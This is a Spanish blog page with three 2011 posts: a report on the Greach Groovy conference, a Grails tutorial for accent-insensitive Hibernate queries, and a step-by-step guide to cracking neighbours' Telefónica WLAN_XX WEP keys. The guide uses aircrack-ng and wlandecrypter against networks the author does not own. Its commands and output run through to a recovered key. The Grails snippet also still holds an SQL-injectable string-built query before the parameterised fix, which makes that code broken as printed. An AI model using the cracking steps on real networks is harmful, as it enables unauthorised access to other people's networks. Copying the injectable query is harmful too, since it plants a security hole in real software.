domingo, 13 de noviembre de 2011

Crónica de Greach: Conferencia de Groovy

El pasado viernes 4 de noviembre acudí a Greach, una conferencia sobre el lenguaje Groovy y los frameworks en torno a él: Grails, Griffon,... celebrada en la Universidad San Pablo CEU de Madrid. La conferencia estuvo muy bien y las charlas a las que asistí me gustaron casi todas.

Después del registro y la presentación empezaron las charlas en sí:

1.- Groovy 1.8 and beyond!: Guillaume Laforge, project manager de Groovy nos contó las novedades de la versión 1.8 y nos adelantó algunas de las nuevas características que tendremos disponibles en groovy 1.9 como grandes mejoras en el rendimiento o un compilador más estricto que permitirá detectar más errores en tiempo de compilación en lugar de retrasarlos hasta la ejecución.
2.- Novedades de Grails 2.0: Álvaro Sánchez-Mariscal, después de una presentación con un video con la intro de "The Day of the Tentacle", nos contó las novedades que incluye la versión 2.0 de Grails respecto a la 1.3.7: Scaffolding en HTML5, uso por defecto de jQuery en lugar de prototype, muchas mejoras en la parte de tests,...
3.- Deconstructing i18n-fields. Nacimiento y evolución de un power-plugin de Grails, sin cortes, sin censuras: Bajo este título, Jorge Uriarte nos contó las ventajas de la arquitectura de plugins de Grails, lo fácil que es crear un plugin y cómo le surgió la necesidad de crear este plugin. Con él, se puede internacionalizar campos de la base de datos de manera muy fácil y sencilla. Nos contó las distintas aproximaciones y evoluciones que ha tenido el plugin, vimos fragmentos de código,... La charla me pareció muy interesante y al final de ella pude hablar un rato con Jorge para comentarle que yo ya estoy utilizando su plugin en un proyecto y que me está resultando muy útil.
Después de esto tuvimos una pequeña pausa para tomar un café y recuperar algo de fuerzas con una pastas y volvimos a la carga con el siguiente bloque de charlas
4.- Volando con Griffon: Griffon es un framework que utiliza el lenguaje Groovy para escribir aplicaciones Java de escritorio basadas en Swing. La charla la dió Andrés Almiray, creador de Griffon. Tenía puestas muchas expectativas en esta charla pero al final me decepcionó un poco, según la agenda íbamos a ver cómo crear una aplicación con REST habilitado y al final sólo vimos cómo crear una aplicación con un par de cajas de texto y poco más.
5.- Gana velocidad y facilita la escalabilidad: Optimiza tus webs Grails: Dani Latorre nos contó una serie de tips generales para optimizar aplicaciones web y fue poniendo ejemplos de cómo implementarlos en Grails. Nos contó una gran variedad de plugins existentes actualmente con los que poder llevar a cabo dichas optimizaciones. La charla, sin ser magnífica, sí que me sirvió para replantearme ciertas cosas.
6.- Grails and Cloud Foundry: Después de la parada para la comida, volvimos con Graeme Rocher, lider del proyecto Grails, que nos contó la plataforma Cloud Foundry para el despliegue de aplicaciones "en la nube". Después de una pequeña introducción nos contó la existencia de un plugin de Grails que permite la integración y despligue de nuestras aplicaciones Grails de una manera rápida y sencilla. Vimos una demo de cómo funciona y aunque parece muy prometedor, todavía tiene bastantes limitaciones: no hay persistencia en el sistema de ficheros, no se puede acceder a la base de datos,... Graeme nos contó que están trabajando en solucionar todos estos problemas.
7.- Groovy Code Generation: Esta sin duda fue la charla más espesa de todas. Hamlet D'Arcy habló de transformaciones AST en Groovy. Hubo bastantes ejemplos y la charla fue muy interesante, aunque se requieren bastantes conocimientos para poder empezar con ello.
8.- Creación de plugins en Griffon: Mario García nos contó cómo funcionan los plugins de Griffon y nos hizo una demo sobre cómo crear uno para acceder a una instancia Solr.
9.- Engrandeciendo Grails con MongoDB: Esta fue una de las charlas que más me gustó. Enrique Medina nos habló sobre su experiencia en la integración de MondoDB con Grails, problemas que ha tenido, formas de resolver los distintos tipos de relaciones 1:1, 1:N y N:M. Me gustó mucho la charla y me abrió un poco los ojos respecto a una base de datos NoSQL. Es posible que en un futuro no muy lejano le dé una oportunidad a MongoDB en algún proyecto.

Y después de todas estas charlas llegó la parte final, se sorteó un curso de HTML5 y CSS3, una licencia de WebStorm y otra de Intelli J y finalmente libros de Grails in Action y Griffon in Action. A mi me tocó uno de Grails in Action :-).
Respecto a la organización, me pareció muy buena. Quiero dar las gracias a Alberto Vilches, padre del evento y a todos los colaboradores porque todo salió muy bien. Por ejemplo, el tema de la comida fue mucho mejor que en el pasado Spring IO en donde sólo tuvimos un sandwich frío. Esta vez pudimos comer en el comedor de la universidad.
Como punto negativo, al igual que en el Spring IO, la wifi se caía de vez en cuando, aunque esto es algo ajeno a los organizadores ya que es totalmente dependiente de la universidad.

viernes, 28 de octubre de 2011

Creando Hibernate Criteria en Grails

   La situación es la siguiente: Tenemos una aplicación grails en la que tenemos que buscar por nombre de usuario. La primera aproximación sería utilizar ilike para buscar en los campos nombre y apellidos y todo funcionaría perfectamente hasta que llegamos a los nombres con tildes. ¿Qué ocurre si el usuario está dado de alta como Iván y nosotros introducimos Ivan, pues que sencillamente no aparecerá.
   Hay varias formas de afrontar el problema incluyendo el full text search con plugins como searchable o elasticsearch, pero si no queremos complicarnos en configurarlos o nuestra situación no requiere de búsquedas complejas, podemos usar otra solución.
   En mi caso estoy utilizando PostgreSQL como base de datos en su versión 9.0. A partir de esta versión se incluye por defecto (sólo es necesario instalarla) la función unaccent que elimina todas las tildes de un campo. Así, la consulta que contruiríamos a mano sería algo como:
select * from user
where unaccent("name") ilike unaccent('%iván%')
Y devolvería cualquier usuario que se llamase: ivan, Iván, iván, IVÁN,...   Todo esto está muy bien, pero que ocurre si ya tenemos el siguiente criteria de grails:
def users = User.createCriteria().list() {
    ilike('name', '%' + value + '%')
}
¿Cómo añadimos esa llamada a la función unaccent?. Vamos a crear nuestro propio Hibernate Criteria.
Editamos el archivo BootStrap.groovy y añadimos lo siguiente:
HibernateCriteriaBuilder.metaClass.unaccent = { String propertyName, Object propertyValue ->

 if (!validateSimpleExpression()) {
  throwRuntimeException(new IllegalArgumentException("Call to [unaccent] with propertyName [" +
    propertyName + "] and other property name [" + otherPropertyName + "] not allowed here."));
 }

 propertyName = calculatePropertyName(propertyName);
 propertyValue = calculatePropertyValue(propertyValue);

 def query = "unaccent(\"${propertyName}\") ilike unaccent('%${propertyValue}%')"
 return addToCriteria(Restrictions.sqlRestriction(query));

 def query = "unaccent(\"${propertyName}\") ilike unaccent(?)"
 def value = "%${propertyValue}%"
 return addToCriteria(Restrictions.sqlRestriction(query.toString(), value.toString(), Hibernate.STRING));
}
[ACTUALIZACIÓN]: He cambiado la forma de generar la consulta para que evitar posibles ataques por inyección de sql.

Lo que estamos haciendo es inyectar al HibernateCriteriaBuilder un método llamado unaccent que recibe como parámetros un string con el nombre de la propiedad y un objeto con el valor que queremos comparar.
Con esto podemos reescribir la consulta anterior de la siguiente manera:
def users = User.createCriteria().list() {
    // Old method
    //ilike('name', '%' + name + '%')
    unaccent('name', value)
}
Si ejecutamos el criteria vemos que la consulta es la siguiente:
select
        this_.id as id19_0_,
        this_.name as name19_0_
     from
        user this_
     where
        unaccent("name") ilike unaccent('%iván%')
Que efectivamente devuelve los mismos registros de antes :-)
   Todo esto se puede mejorar puesto que en función del número de registros que esperemos tener en la tabla, aplicar la función unaccent a la columna obliga a la base de datos a hacer un full scan en toda la tabla. Podríamos crear un índice, usar un campo paralelo para realizar las búsquedas que se mantenga automáticamente con un trigger, controlar este campo desde la aplicación grails con los métodos afterSave() y afterUpdate() de la clase de dominio User,... en fin, unas cuantas alternativas.

martes, 1 de febrero de 2011

Conectándonos a redes WLAN_XX de Telefónica sin saber la contraseña

   Este pasado verano estuvimos de vacaciones en un piso en la costa española que han comprado mis suegros. Aunque tengo el modem 3G USB para conectarme a internet, nunca está de más probar a ver si existe alguna red wifi disponible. Después del paseo de rigor con el portátil por toda la casa, me pongo en la mesa del salón y aunque no existe ninguna red abierta a la que poder conectarme, veo que hay unas cuantas con el nombre WLAN_XX. Estas redes son de Telefónica y al ser "antiguas", el cifrado utilizado es WEP. Podría ponerme a capturar varios cientos de miles de paquetes y posteriormente por fuerza bruta intentar averiguar la clave. Afortunadamente hay una manera mucho más sencilla de obtenerla.
  • El primer paso es instalar desde los repositorios aircrack-ng. Son un conjunto de utilidades que permiten poner la tarjeta en modo monitor para capturar paquetes, inyectar paquetes en redes wifi, obtener una contraseña WEP con un cierto número de paquetes capturados,...
    ivan@suneo:~$ sudo apt-get install aircrack-ng
  • Ahora ponemos la tarjeta de red en modo monitor para capturar todos los paquetes que nos llegan.
    ivan@suneo:~$ sudo airmon-ng start wlan0

    Interface Chipset Driver

    wlan0 Intel 3945ABG iwl3945 - [phy0]
    (monitor mode enabled on mon0)
  • La tarjeta wifi ya está en modo monitor, en este caso en el interfaz mon0. Éste será el que utilizaremos para capturar el tráfico.
    ivan@suneo:~$ sudo airodump-ng -w packets mon0

    CH 1 ][ Elapsed: 9 mins ][ 2010-08-10 15:35

    BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

    00:01:38:DF:ED:AE -68 3193 6 0 6 54 . WEP WEP WLAN_B8
    00:1A:4D:22:45:81 -84 486 213 0 7 54e. OPN tcc-hotspot-escuera
    00:1F:3F:A3:C7:39 -90 52 0 0 6 54 WEP WEP Harry Mehlitz
    00:1A:2B:5C:57:76 -87 288 4 0 11 54 WEP WEP JAZZTEL_47
    00:1A:2B:01:AC:A0 -83 829 0 0 3 54 WEP WEP WLAN_E9
    00:0C:F6:82:44:50 -84 507 3 0 11 54e. WPA TKIP PSK Sitecom824450

    BSSID STATION PWR Rate Lost Packets Probes

    (not associated) 00:13:CE:6A:1B:14 -89 0 - 1 0 138 MI_CASA,WLAN_4B,1234567891234567891234567891
    (not associated) 00:1A:EF:05:17:2D -89 0 - 1 0 5 WLAN_4D
    00:01:38:DF:ED:AE 00:1F:3C:E1:95:C5 0 6 - 1 0 876 WLAN_B8
    00:1A:2B:5C:57:76 00:22:43:65:1E:C6 -84 0 - 1 0 5 JAZZTEL_47
    00:1A:2B:5C:57:76 00:16:EA:35:DD:D4 -85 0 - 1 0 3
  • He marcado en negrita la red que nos interesa: WLAN_B8. Lo que hemos hecho es capturar todos los paquetes wifi que "vemos" y almacenarlos en un conjunto de archivos con el prefijo packets. La columna importante es #Data: indica que ya hemos capturado 6 IV's, necesarios para romper la contraseña. Dejamos este proceso capturando y en otro terminal seguimos trabajando.

  •    Como ya he comentado, los nombres WLAN_XX son los que antiguamente ponía Telefónica a las redes wifi, dejando además la configuración por defecto. Existe una relación entre el nombre de la red, el BSSID (la mac del punto de acceso) y la clave.
    En lugar de tener que capturar muchos paquetes, con sólo 4 o más IV's podremos romper el cifrado puesto que vamos a utilizar un ataque por diccionario. Para generar este diccionario usaremos wlandecrypter. Lo descargamos, descomprimimos y con un simple make compilaremos el archivo .c. El uso es muy sencillo, le pasamos como parámetros la mac del punto de acceso y el nombre de la red y nos generará el diccionario con las claves.
    ivan@suneo:~$ wlandecrypter 00:01:38:DF:ED:AE WLAN_B8 dic_WLANB8.txt

    wlandecrypter v1.3.1 (2010/04/21)

    [+] BSSID: 00:01:38:XX:XX:XX
    [+] Modelo: Xavi 7768r
    [+] Generando fichero de claves: dic_WLANB8.txt.kk
    [+] Fichero guardado OK
    [+] Generadas 65536 claves (896 KB)
    [+] Proceso finalizado con exito

       Como podéis ver, a partir del BSSID ha detectado qué modelo de router es y ha generado las claves necesarias. En este caso sólo son 65536 claves posibles (siempre que el dueño no haya cambiado la clave por defecto).
       Como ya habíamos capturado más de 4 IV's vamos a obtener la clave WEP de la red, para ello ejecutamos aircrack-ng pasándole el BSSID, el diccionario que hemos generado y los paquetes capturados.
    ivan@suneo:~$ aircrack-ng -b 00:01:38:DF:ED:AE -w dic_WLANB8.txt -K packets-01.cap

    Opening packets-01.cap
    Reading packets, please wait...

    Aircrack-ng 1.0


    [00:00:00] Tested 3873 keys (got 6 IVs)

    KB depth byte(vote)
    0 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
    1 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
    2 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
    3 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
    4 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
    5 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
    6 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
    7 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
    8 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
    9 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
    10 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
    11 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
    12 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)

    KEY FOUND! [ 58:30:30:30:31:33:38:44:46:32:30:42:38 ] (ASCII: X000138DF20B8 )
    Decrypted correctly: 100%

       Lo hemos conseguido, ya tenemos la clave que hemos conseguido prácticamente de manera instantánea. Ahora sed buenos con vuestros vecinos :-P
       P.D: También existe una herramienta similar para generar diccionarios para las redes de Jazztel ;-)